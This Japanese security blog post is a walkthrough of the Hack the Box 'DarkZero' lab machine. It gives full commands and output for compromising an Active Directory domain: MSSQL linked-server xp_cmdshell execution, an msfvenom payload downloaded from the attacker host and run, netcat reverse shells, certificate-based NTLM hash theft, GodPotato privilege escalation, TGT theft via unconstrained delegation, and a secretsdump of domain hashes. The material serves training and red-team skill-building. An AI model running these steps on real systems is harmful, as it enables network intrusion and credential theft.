NTT Security Japan

お問い合わせ

Hack the Box Machines DarkZero writeup

テクニカルブログ

Hack the Box Machines DarkZero writeup
Hack the Box Machines DarkZero (Windows / Hard) の writeup を紹介します。

はじめに

プロフェッショナルサービス部の中村です。

RedTeamサービス、実際のサイバー攻撃手法を用いたセキュリティ体制の評価に関する業務を担当しています。また、サービスを高度化するため、日々のリサーチや技術研鑽も積極的に実施しています。

このブログでは、日々の技術研鑽として取り組んだ Hack the Box Machines DarkZero (Windows / Hard) の writeup を紹介します。なお、本記事で紹介されている攻撃手法を、許可なく第三者の資産へ対して実施することは禁止されています。

サマリ

Hack the Box Machines DarkZero (Windows / Hard) (Link) の攻略を解説します。この Machine では、john.w:RFulUtONCOL!という認証情報が予め与えられていて、主に以下の流れで侵害を達成します。

  1. DC01の MSSQL サーバからリンクされたDC02 の MSSQL サーバで任意のコマンドを実行
  2. DC02 で、PKINIT 認証を利用し、svc_sql の NTLM ハッシュを取得
  3. svc_sqlのパスワードをリセットし、ログオンセッションを確立
  4. svc_sqlSeImpersonatePrivilege を利用し、DC02 の SYSTEM 権限へ昇格
  5. DC02 へ Unconstrained Delegation が設定されていることを利用し、DC01 の MSSQL サーバからDC02 へ認証を強制し、DC01 の TGT を取得
  6. DC01 の TGT を取得できたため、侵害が完了

以降、攻撃の詳細な手順を説明します。

scanning the machine

まずは、nmap で tcp / udp の全てのポートをスキャンします。スキャンした結果から、このマシンが Domain Controller であること、つまり Active Directory (以下、AD) が動作していることや、ホスト名がDC01.darkzero.htbであることが分かります。 加えて、1433/tcpから Microsoft SQL Server 2022 が動作していることが分かります。これらの結果から、AD や MSSQL に関する攻撃を利用する可能性が高い、と推測します。

tcp

# Nmap 7.95 scan initiated Fri Oct 10 07:15:20 2025 as: /usr/lib/nmap/nmap -Pn -sS -sC -sV --min-rate 10000 -p53,88,135,139,389,445,464,593,636,1433,2179,3268,3269,5985,9389,49664,49666,49670,49671,49891,49911,49967 -oN darkzero.htb/scan_report_tcp.nmap darkzero.htb
Nmap scan report for darkzero.htb (10.129.242.172)
Host is up (2.9s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-10 05:15:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after:  2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after:  2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
|   10.129.242.172:1433:
|     Target_Name: darkzero
|     NetBIOS_Domain_Name: darkzero
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: darkzero.htb
|     DNS_Computer_Name: DC01.darkzero.htb
|     DNS_Tree_Name: darkzero.htb
|_    Product_Version: 10.0.26100
|_ssl-date: 2025-10-10T05:18:14+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-10T05:12:51
|_Not valid after:  2055-10-10T05:12:51
| ms-sql-info:
|   10.129.242.172:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after:  2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2025-07-29T11:40:00
|_Not valid after:  2026-07-29T11:40:00
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49891/tcp open  msrpc         Microsoft Windows RPC
49911/tcp open  tcpwrapped
49967/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-10-10T05:17:30
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m58s, deviation: 0s, median: 6h59m58s

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Fri Oct 10 07:18:24 2025 -- 1 IP address (1 host up) scanned in 183.77 seconds

udp

# Nmap 7.95 scan initiated Fri Oct 10 07:18:59 2025 as: /usr/lib/nmap/nmap -Pn -sU -sC -sV --min-rate 10000 -p53,88,123,389 -oN darkzero.htb/scan_report_udp.nmap darkzero.htb
Nmap scan report for darkzero.htb (10.129.242.172)
Host is up (0.58s latency).

PORT    STATE SERVICE      VERSION
53/udp  open  domain       (generic dns response: SERVFAIL)
| fingerprint-strings:
|   DNS-SD:
|     _services
|     _dns-sd
|     _udp
|     local
|   NBTStat:
|_    CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-10 05:19:01Z)
123/udp open  ntp          NTP v3
| ntp-info:
|_
389/udp open  ldap         Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :
SF-Port53-UDP:V=7.95%I=7%D=10/10%Time=68E834E4%P=x86_64-pc-linux-gnu%r(DNS
SF:-SD,2E,"\\0\\0\\x80\\x82\\0\\x01\\0\\0\\0\\0\\0\\0\\t_services\\x07_dns-sd\\x04_udp\\x0
SF:5local\\0\\0\\x0c\\0\\x01")%r(NBTStat,32,"\\x80\\xf0\\x80\\x82\\0\\x01\\0\\0\\0\\0\\0\\0
SF:\\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\0\\0!\\0\\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m08s

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Fri Oct 10 07:19:42 2025 -- 1 IP address (1 host up) scanned in 43.33 seconds

initial foothold

MSSQL サーバへのアクセスを試みたところ、予め与えられた認証情報 (john.w:RFulUtONCOL!) での認証が成功しました。

$ impacket-mssqlclient 'john.w:RFulUtONCOL!@darkzero.htb' -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (darkzero\\\\john.w  guest@master)>

MSSQL のリンクサーバを列挙したところ、DC02.darkzero.extへのリンクが設定されていることが分かりました。

SQL (darkzero\john.w  guest@master)> SELECT * FROM sys.servers;
server_id   name                                          product         provider      data_source              location   connect_timeout   query_timeout

---------   ---------------------------------------------   -------------   -----------   ----------------------   --------   ---------------   -------------

        0   DC01\\\\SQLEXPRESS                               SQL Server      SQLNCLI       NULL                     NULL                    0               0
        1   DC02.darkzero.ext                              SQL Server      SQLNCLI11     DC02.darkzero.ext        NULL                    0               0

つまり、MSSQL のリンクサーバ機能を利用して、DC02.darkzero.ext上でコマンドを実行できる可能性があります。

リンクサーバ経由でDC02.darkzero.extへ接続し、xp_cmdshellを有効化しました。

SQL (darkzero\john.w  guest@master)> EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]
SQL (darkzero\john.w  guest@master)> EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]

リンクサーバ経由でwhoamiコマンドを実行したところ、darkzero-ext\\\\svc_sqlとして実行できることが分かりました。

SQL (darkzero\john.w  guest@master)> EXEC ('xp_cmdshell ''whoami''') AT [DC02.darkzero.ext]
output

--------------------------------------------------------------------------------

darkzero-ext\svc_sql

NULL

msfvenomでリバースシェルのペイロードを作成し、ターゲットへダウンロード、実行することで、svc_sqlとしてのシェルを取得できました。

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.18 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

リンクサーバ経由でペイロードをダウンロードし、実行します。

SQL (darkzero\john.w  guest@master)> EXEC ('xp_cmdshell ''powershell -c "iwr -uri <http://10.10.14.18:8000/shell.exe> -OutFile C:\Windows\Tasks\shell.exe"''') AT [DC02.darkzero.ext]
SQL (darkzero\john.w  guest@master)> EXEC ('xp_cmdshell ''C:\Windows\Tasks\shell.exe''') AT [DC02.darkzero.ext]

これにより、darkzero-ext\\\\svc_sqlとしてシェルを確立できました。

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.18] from (UNKNOWN) [10.129.242.172] 51234
Microsoft Windows [Version 10.0.20348.2762]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
darkzero-ext\svc_sql

lateral movement

現在のセッションでは権限が制限されているため、RunasCs.exeによりインタラクティブなログオンセッションを作成します。インタラクティブなログオンセッションを作成するためにはsvc_sqlの平文パスワードを入手する必要があります。ここでは、AD CS により発行した証明書から NTLM ハッシュを入手し、パスワードをリセットすることで任意のパスワードを入手します。

Certify.exe を実行し、発行が可能な証明書を探索します。すると、User テンプレートの “Manager Approval Required” がFalseであるため、管理者の承認を必要とせず発行できることが分かります。

Template Name                         : User
Enabled                               : True
Publishing CAs                        : DC02.darkzero.ext\darkzero-ext-DC02-CA
Schema Version                        : 1
Validity Period                       : 1 year
Renewal Period                        : 6 weeks
Certificate Name Flag                 : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
Enrollment Flag                       : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
Manager Approval Required             : False
Authorized Signatures Required        : 0
Extended Key Usage                    : Client Authentication, Encrypting File System, Secure Email
Certificate Application Policies      : <null>
Permissions
  Enrollment Permissions
    Enrollment Rights           : darkzero-ext\Domain Admins         S-1-5-21-1969715525-31638512-2552845157-512
                                  darkzero-ext\Domain Users          S-1-5-21-1969715525-31638512-2552845157-513
                                  darkzero-ext\Enterprise Admins     S-1-5-21-1969715525-31638512-2552845157-519
  Object Control Permissions
    Owner                       : darkzero-ext\Enterprise Admins     S-1-5-21-1969715525-31638512-2552845157-519
    Write Owner                 : darkzero-ext\Domain Admins         S-1-5-21-1969715525-31638512-2552845157-512
                                  darkzero-ext\Enterprise Admins     S-1-5-21-1969715525-31638512-2552845157-519
    Write Dacl                  : darkzero-ext\Domain Admins         S-1-5-21-1969715525-31638512-2552845157-512
                                  darkzero-ext\Enterprise Admins     S-1-5-21-1969715525-31638512-2552845157-519
    Write Property              : darkzero-ext\Domain Admins         S-1-5-21-1969715525-31638512-2552845157-512
                                  darkzero-ext\Enterprise Admins     S-1-5-21-1969715525-31638512-2552845157-519

Certify.exeを利用して、svc_sqlのクライアント認証証明書を要求しました。

C:\Windows\Tasks>Certify.exe request --ca DC02.darkzero.ext\darkzero-ext-DC02-CA --template User
Certify.exe request --ca DC02.darkzero.ext\darkzero-ext-DC02-CA --template User

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \\ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \\_____\\___|_|   \\__|_|_|  \\__, |
                             __/ |
                            |___./
  v2.0.0

[*] Action: Request a certificate

[*] Current user context    : darkzero-ext\svc_sql
[*] No subject name specified, using current context as subject.

[*] Template                : User
[*] Subject                 : CN=svc_sql, CN=Users, DC=darkzero, DC=ext

[*] Certificate Authority   : DC02.darkzero.ext\\darkzero-ext-DC02-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 3

[*] Certificate (PFX)       :

MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqhkiG9w0BBwGggCSABIID6DCCBVwwggVYBgsqhkiG9w0BDAoBAaCCBMIwggS+AgEAMA0GCSqGSIb3DQEBAQUABIIEqDCCBKQCAQAC
(snip)

Certify completed in 00:00:10.9907663

発行された証明書を base64 でデコードします。この証明書を使用し、Rubeus.exeasktgt で PKINIT 認証し、svc_sql の NTLM ハッシュを取得します。

C:\Windows\Tasks>Rubeus.exe asktgt /user:svc_sql /certificate:svc_sql.pfx /getcredentials
Rubeus.exe asktgt /user:svc_sql /certificate:svc_sql.pfx /getcredentials

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGT

[*] Got domain: darkzero.ext
[*] Using PKINIT with etype rc4_hmac and subject: CN=svc_sql, CN=Users, DC=darkzero, DC=ext
[*] Building AS-REQ (w/ PKINIT preauth) for: 'darkzero.ext\svc_sql'
[*] Using domain controller: ::1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGADCCBfygAwIBBaEDAgEWooIFFjCCBRJhggUOMIIFCqADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+g
      (snip)

  ServiceName              :  krbtgt/darkzero.ext
  ServiceRealm             :  DARKZERO.EXT
  UserName                 :  svc_sql (NT_PRINCIPAL)
  UserRealm                :  DARKZERO.EXT
  StartTime                :  1/5/2026 9:50:06 PM
  EndTime                  :  1/6/2026 7:50:06 AM
  RenewTill                :  1/12/2026 9:50:06 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  nKmtnhWLL/qk9cWT95CADQ==
  ASREP (key)              :  4DDA12150EBE8FD730193F4EB280C896

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 816CCB849956B531DB139346751DB65F

これにより、svc_sql の NTLM ハッシュ816CCB849956B531DB139346751DB65Fを取得できました。NTLM ハッシュを使用して、svc_sql のパスワードを変更します。予め、chiselligolo-ng などを実行し、内部のホストである DC02.darkzero.ext からのトンネリングを確立します。

$ impacket-changepasswd darkzero.ext/svc_sql -hashes :816CCB849956B531DB139346751DB65F -newpass 'P@ssw0rd' -dc-ip 172.16.20.2
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of darkzero.ext\svc_sql as P@ssw0rd
[*] Connecting to DCE/RPC as darkzero.ext\svc_sql
[*] Password was changed successfully.

変更したパスワードで認証できることを確認しました。

$ netexec smb 172.16.20.2 -u svc_sql -p 'P@ssw0rd' -d darkzero.ext
SMB         172.16.20.2     445    DC02             [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:darkzero.ext) (signing:True) (SMBv1:False)
SMB         172.16.20.2     445    DC02             [+] darkzero.ext\svc_sql:P@ssw0rd

よって、RunasCs.exe を利用して、新たなセッションを作成します。

C:\Windows\Tasks>RunasCs.exe svc_sql P@ssw0rd powershell -r 10.10.17.158:1339 -l 5 -b
RunasCs.exe svc_sql P@ssw0rd powershell -r 10.10.17.158:1339 -l 5 -b

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-2984c$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 3324 created in background.

セッションを作成した後、svc_sql の権限を確認すると SeImpersonatePrivilege 権限が有効化されていました。

$ nc -nlvp 1339
listening on [any] 1339 ...
connect to [10.10.17.158] from (UNKNOWN) [10.129.242.209] 57381
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! <https://aka.ms/PSWindows>

PS C:\Windows\system32> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

privilege escalation on DC02.darkzero.ext

SeImpersonatePrivilege 権限を悪用することで、SYSTEM へ権限昇格できます。今回は GodPotato を利用しました。

PS C:\Users\svc_sql\Downloads> .\GodPotato-NET4.exe -cmd "C:\Users\svc_sql\Downloads\nc.exe 10.10.17.158 1339 -e cmd.exe"
.\GodPotato-NET4.exe -cmd "C:\Users\svc_sql\Downloads\nc.exe 10.10.17.158 1339 -e cmd.exe"
[*] CombaseModule: 0x140735629819904
[*] DispatchTable: 0x140735632406856
[*] UseProtseqFunction: 0x140735631702192
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\3acb7896-7e40-47a7-99ac-96040111c8cf\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000dc02-0288-ffff-354b-73d5ea72d271
[*] DCOM obj OXID: 0x6a280e28fa41222b
[*] DCOM obj OID: 0xc242eabdf73433d0
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 1020 Token:0x720  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1900

GodPotatoにより、SYSTEM 権限へ昇格し、コマンドを実行できることが確認できました。これを利用して、侵害済みの svc_sql をローカルの Administrators グループへ追加します。

PS C:\Users\svc_sql\Downloads> .\GodPotato-NET4.exe -cmd "net localgroup Administrators /add svc_sql"

Administratorsグループのメンバを確認すると、svc_sqlが追加されていることが分かります。

PS C:\Users\svc_sql\Downloads> net localgroup Administrators
net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
svc_sql
The command completed successfully.

privilege escalation on DC01.darkzero.htb

DC02.darkzero.ext はドメインコントローラであるため、Unconstrained Delegation が有効化されています。Unconstrained Delegation が有効化されている場合、そのコンピュータへ認証したユーザの TGT がそのコンピュータのメモリへ保存されます。つまり、DC01 から DC02 への認証を誘発し、DC02 のメモリから TGT を窃取することで、DC01 の TGT を窃取できる可能性があります。

まず、Rubeus.exe monitorを実行し、DC02 へ新たに保存される TGT を監視します。

*Evil-WinRM* PS C:\Users\svc_sql\Documents> .\Rubeus.exe monitor /interval:5 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2

[*] Action: TGT Monitoring
[*] Monitoring every 5 seconds for new TGTs

次に、MSSQL で xp_dirtree を実行し、DC01 から DC02 への認証を誘発します。

SQL (darkzero\john.w  guest@master)> EXEC ('xp_cmdshell ''xp_dirtree \\DC02.darkzero.ext\share''') AT [DC02.darkzero.ext]

Rubeus.exe monitor の出力を確認すると、DC01$@DARKZERO.HTB の TGT が取得できていることが分かります。

[*] 10/13/2025 1:25:47 AM UTC - Found new TGT:

  User                  :  DC01$@DARKZERO.HTB
  StartTime             :  10/13/2025 1:25:38 AM
  EndTime               :  10/13/2025 11:25:38 AM
  RenewTill             :  10/20/2025 1:25:38 AM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

    doIFuj[...省略...]

取得した TGT を ticket.kirbi として保存し、impacket-ticketConverter で ccache 形式へ変換します。

$ impacket-ticketConverter ticket.kirbi ticket.ccache
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] converting kirbi to ccache...
[+] done

変換した TGT を利用して、DC01 のマシンアカウントとして認証し、DCSync 攻撃などの高権限操作が可能になります。

$ export KRB5CCNAME=ticket.ccache
$ impacket-secretsdump -k DC01.darkzero.htb -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
darkzero.htb\\\\john.w:1104:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d1f87b7e8f0d1a7c8d4f4a8e7b3c2d1e:::
[*] Cleaning up...

これにより、DC01.darkzero.htbを侵害でき、darkzero.htb ドメインの完全な侵害に成功しました。

おわりに

以上、Hack the Box Machines DarkZero の writeup を紹介しました。

MSSQL のコマンドの実行から始まり、ローカルで権限昇格しつつ、ドメインの信頼関係と Unconstrained Delegation の設定を悪用する、という面白いマシンでした。特に、ドメインコントローラを侵害し、信頼関係を構築したドメインのユーザやコンピュータの認証を強制することで侵害する、という攻撃方法は実環境でも十分にありうる、と感じました。

今後も Hack the Box Machines を通じて技術研鑽に取り組み続け、RedTeamサービスの業務へ活かしていきます。

関連記事 / おすすめ記事

Inquiry

お問い合わせ

お客様の業務課題に応じて、さまざまなソリューションの中から最適な組み合わせで、ご提案します。
お困りのことがございましたらお気軽にお問い合わせください。